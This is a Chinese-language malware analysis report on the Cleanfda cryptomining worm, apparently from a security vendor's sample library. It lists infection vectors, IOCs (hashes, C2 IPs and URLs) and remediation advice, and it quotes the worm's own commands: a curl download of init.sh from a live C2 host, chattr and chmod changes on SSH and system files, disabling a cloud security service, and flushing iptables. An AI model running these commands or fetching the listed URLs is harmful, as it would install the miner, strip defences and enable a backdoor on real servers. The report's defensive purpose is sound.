简述
Cleanfda是一种挖矿木马,通常会通过未授权命令执行漏洞攻击目标主机,并利用SSH爆破等方式呈蠕虫式传播。
Cleanfda驻留的免密登录后门将给服务器带来不可预料的各类型网络风险,蠕虫功能,门罗币矿机模块不间断的工作,会导致系统CPU负载过大,大量消耗主机CPU资源,严重影响主机正常服务运行,导致主机有系统崩溃风险。
elkeid 样本ID
elkeid_20220809_miner_1
类型
挖矿;后门
捕获时间
- 2022-08-09
最近活跃时间
- 2022-11-23
已知入侵途径
-
弱口令爆破
-
redis 弱密码
-
涉及样本
- init.sh
- newinit.sh
- is.sh
- zzh
- pnscan.tar.gz
- call.txt
主要行为
- 下载
curl -fsSL http://195.242.111.238/cleanfda/init.sh
- 赋权:为相关文件加入隐藏属性、赋予最高权限、增加文件不可修改权限
chmod 777 /usr/bin/chattr
chattr -iae /root/.ssh/
-
执行:利用漏洞植入恶意命令,随后下载植入pnscan,masscan,sshbru进行扫描爆破蠕虫扩散,同时执行挖矿模块
-
侦查:扫描端口,确认可攻击目标存在的SSH,Redis,docker等服务
-
清理挖矿竞品
xargs -I % kill -9 %
- 修改命令目录
mv /usr/bin/curl /usr/bin/url
- 查找其他安全服务并关闭
systemctl disable aliyun.service
- 清空防火墙规则
iptables -F
特点
- 利用Docker Remote Api未授权命令执行漏洞攻击云主机
- 利用SSH爆破、Redis未授权写计划任务等方式呈蠕虫式传播
- 尝试卸载云主机安全软件,尝试结束、清除竞品挖矿木马
- 劫持ps,top,pstree等系统工具隐蔽挖矿
- 改写authorized_keys设置免密登录后门
- 读取主机历史ssh登录信息尝试登入并植入恶意脚本执行
IOC
-
MD5
- 7fe93cabeb10c6c8ed414ef8ca479588
- f0551696774f66ad3485445d9e3f7214
- 859fbbedefc95a90d243a0a9b92d1ae9
- d138c74fb95be4cb69559f4fb2f5850c
- 4f6a3d06bfc5da004deb5959131e05c1
-
回连IP
- 47.114.157.117
- 45.133.203.192
- 194.87.139.103
- 195.242.111.238
- 45.83.123.29
-
攻击IP
- 185.36.81.44
- 221.215.21.91
- 223.113.52.38
- 221.215.21.91
- 111.9.22.217
- 179.60.147.159
- 120.196.57.169
- 189.237.204.179
- 152.136.206.141
- 140.206.186.171
- 192.241.207.204
- 153.35.239.238
- 140.206.186.171
-
sha256
- 4289ba60e1852a9d5ef1b4fb04be8e918148f7b3fe04fe371371f09a36efee00
- be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a
-
URL
- http://47.114.157.117/cleanfda/zzh
- http://47.114.157.117/cleanfda/is.sh
- http://47.114.157.117/cleanfda/init.sh
- http://47.114.157.117/cleanfda/trace
- http://45.133.203.192/cleanfda/zzh
- http://45.133.203.192/cleanfda/newinit.sh
- http://45.133.203.192/cleanfda/pnscan.tar.gz
- http://45.133.203.192/b2f628fff19fda999999999/1.0.4.tar.gz
- http://45.133.203.192/cleanfda/init.sh
- http://45.133.203.192/cleanfda/config.json
- http://45.133.203.192/cleanfda/is.sh
- http://45.133.203.192/cleanfda/rs.sh
- http://45.133.203.192/cleanfda/call.txt
- http://194.87.139.103/cleanfda/ps
- http://194.87.139.103/cleanfda/hxx
- http://py2web.store/cleanfda/zzh
- http://py2web.store/cleanfda/newinit.sh
- http://195.242.111.238/cleanfda/init.sh
- http://45.83.123.29/cleanfda/init.sh
- http://195.242.111.238/cleanfda/is.sh
- http://en2an.top/cleanfda/init.sh
- http://45.83.123.29/cleanfda/newinit.sh
安全配置建议
-
建议安全运维人员配置Docker swarm服务端口不要暴露在公网,修改Docker swarm的认证方式,可以使用TLS认证。
-
建议Redis 服务端口不要暴露在公网,使用强口令。
-
配置SSH服务使用强口令。
沙箱行为
cleandfda/zzh
https://www.virustotal.com/gui/file/4289ba60e1852a9d5ef1b4fb04be8e918148f7b3fe04fe371371f09a36efee00/behavior
ATT&CK行为
-
持久化&权限提升
- 使用systemctl控制关联的服务
-
系统信息收集
读取CPU信息&读取proc文件系统信息,uname获取内核信息
bash -c cat /proc/cpuinfo | grep name | head -n 1 | awk {print $4,$5,$6,$7,$8,$9;}
进程链路
4145 - /tmp/sample
4162 - /usr/lib/snapd/snap-failure snapd
4163 - /usr/lib/snapd/snapd
4184 - /usr/sbin/apparmor_parser --preprocess
4185 - /usr/bin/systemctl systemctl stop snapd.socket
4187 - /snap/snapd/15177/usr/lib/snapd/snapd
4193 - /usr/sbin/apparmor_parser --preprocess
4194 - /usr/sbin/apparmor_parser n/a
4197 - /usr/bin/grep grep -q ^lxd-core
4198 - /usr/bin/getent getent passwd lxd
4199 - /usr/sbin/apparmor_parser n/a
4200 - /usr/sbin/apparmor_parser --preprocess
4201 - /usr/bin/getent getent group lxd
4204 - /usr/bin/getent getent group lxd
4205 - /usr/sbin/apparmor_parser n/a
4206 - /usr/sbin/apparmor_parser --preprocess
排查建议
-
请先确认该文件是否为测试文件
-
如果非业务行为请通过root登陆,并清理【rm】下载的文件
-
排查 .bashrc .bash_profile .profile 系统启动项 crontab 等是否有被驻留,并做清理
参考链接
http://195.242.111.238/cleanfda/init.sh
- https://www.virustotal.com/gui/url/9239e70c57835d61b7ed0fde7aea75bc5d01d2fab5b5fff70985474031ffa41c
http://47.114.157.117/cleanfda/is.sh
- https://www.virustotal.com/gui/url/3c669af321d413acce4002b7fcd1ed969842d850110f9dae13d60261b848115b
http://45.133.203.192/cleanfda/newinit.sh
-
https://www.virustotal.com/gui/url/7c84f5daedb3cec07ff40f62b9c47c49072bc6572bb2a687a28d06f8c231310b
-
https://threatintelligence.guardicore.com/ip/45.133.203.192
http://194.87.139.103/cleanfda/ps
- https://www.virustotal.com/gui/url/76839633ee49de40f16dee389303c1e2a889d20edd09625f238a48d44575e79b
http://py2web.store/cleanfda/zzh
- https://www.virustotal.com/gui/url/2feaa91d90e5b80e21ccc92b3d8a9c89c6cf03174817c2576aff375183a980e1
http://45.83.123.29/cleanfda/init.sh
- https://www.virustotal.com/gui/url/ad09b650fa64d95ed9cf771a1ac393445dcde44b3f24c6102ad67e2986d4ecbd
http://en2an.top/cleanfda/init.sh
- https://www.virustotal.com/gui/url/754851bfca481ee458da816606a35ffc3af0f9dc3eff1eee3479270092314ade